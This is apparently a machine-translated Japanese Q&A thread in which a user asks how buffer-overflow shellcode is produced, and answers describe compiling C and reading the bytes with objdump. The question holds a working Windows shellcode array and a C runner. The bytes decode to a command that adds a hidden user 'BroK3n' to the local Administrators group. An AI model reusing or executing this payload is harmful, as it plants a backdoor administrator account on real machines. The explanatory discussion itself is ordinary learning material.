2017-02-28 8 views
-2

次のコードは私の好奇心を引き出しました。私は、常に「バッファオーバーフロー」と呼ばれるエクスプロイトについて見て、検索し、勉強します。コードがどのように生成されたのか知りたいどのようにコードが実行されているのですか?バッファオーバーフローのシェルコードはどのように生成されました

char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" 
     "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" 
     "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" 
     "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a" 
     "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf" 
     "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f" 
     "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69" 
     "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63" 
     "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44" 
     "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33" 
     "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65" 
     "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63" 
     "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"; 


int main(int argc, char **argv){ 
int (*f)(); 
f = (int (*)())shellcode;(int)(*f)(); 
} 

ありがとうございました。^_^

答えて

0

その後(リンクしない)それをコンパイルC.で所望の機能性を書くことになり、このようなコードを生成する簡単な方法これは、オブジェクトファイルのシェルコードを生成します。 。 objdumpを使用してアセンブルされたコードを見ることができます。

odjdump -D shellcode.o 

ここで、関数内の指示に対応するバイトを確認できます。 シェルコードが他の関数を呼び出さない場合や、グローバルコードや文字列を参照していない場合にのみ機能しますが、これは、リンカーがまだ呼び出されていないためです。すべての機能が必要な場合は、必要な機能をエクスポートしながら、共有バイナリ(Windowsでは* NIXおよびdllの.so)を生成することをお勧めします。次に、関数の開始点を見つけてそこからバイトをコピーすることができます。他のすべての関数とグローバルのバイトもコピーする必要があります。また、共有ライブラリが位置独立ライブラリとしてコンパイルされていることを確認する必要があります。

また、生成されたこのコードはターゲットに固有のもので、他のプラットフォームと同じように動作しません。

0

マシンコード命令は、データとしてCプログラムに直接入力され、関数ポインタで呼び出されます。システムがこれを許可する場合、アセンブリは他のプログラムを起動することを含め、プログラムに許可されたアクションを実行することができます。

このコードは、対象となる特定のプロセッサに固有です。

gcc -c shellcode.c 

としてあなたのコンパイラとしてgccのを言う使用して

関連する問題